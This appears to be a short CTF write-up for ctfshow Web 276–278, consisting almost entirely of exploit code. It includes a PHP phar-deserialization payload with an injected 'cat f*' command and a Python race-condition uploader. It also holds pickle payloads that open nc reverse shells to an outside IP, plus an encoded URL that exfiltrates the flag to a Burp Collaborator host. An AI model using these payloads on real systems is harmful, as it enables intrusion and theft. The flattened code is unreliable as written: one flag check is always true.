竞争(Web 276) phar 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class filter { public $filename ="1.txt;cat f*;" ; public $filecontent ; public $evilfile =true ; public $admin = true ; } $a =new filter ();$phar = new Phar ("coco.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();
竞争 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests import threading import time f=open ("tmp/coco.phar" ,"rb" ) content=f.read () def upload (): requests.post (url=url+"?fn=1.phar" ,data=content) def read (): r = requests.post (url=url+"?fn=phar://1.phar/" ,data="1" ) if "ctfshow{" or "flag{" in r.text in r.text: print (r.text) exit () while 1 : t1=threading.Thread (target=upload) t2=threading.Thread (target=read) t1.start () t2.start () time.sleep (4 )
web 277 278 python 反序列化 1 2 where is flag? <!--/backdoor?data= m=base64.b64decode (data) m=pickle.loads (m) -->|
nc -lvvn 9000
1 2 3 4 5 6 7 8 9 10 11 import pickleimport base64import osclass RCE : def __reduce__ (self ): return os.popen, ("nc 156.238.233.102 7777 -e /bin/sh" ,) print (base64.b64encode(pickle.dumps(RCE())))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pickle import osimport base64 class CTFshow (): def sw (self ): print (self .show) def __init__ (self,show ): self .show = show def __reduce__ (self ): return (eval ,("__import__('os').popen('nc 156.238.233.102 9000 -e /bin/sh').read()" ,)) choco = CTFshow(" https://ctf.show" ) ser = pickle.dumps(choco) print (base64.b64encode(ser))
1 http://536110ee-d022-4b6c-ab8b-4cc7fe52932e.challenge.ctf.show/backdoor?data=Y3Bvc2l4CnN5c3RlbQpwMAooVndnZXQgaHR0cDovLzdzMGJ2cW55NTZ0bzE5Nm02bGxzdzdvcmxpcjlmeS5idXJwY29sbGFib3JhdG9yLm5ldC9gY2F0IGZsYSpgCnAxCnRwMgpScDMKLg==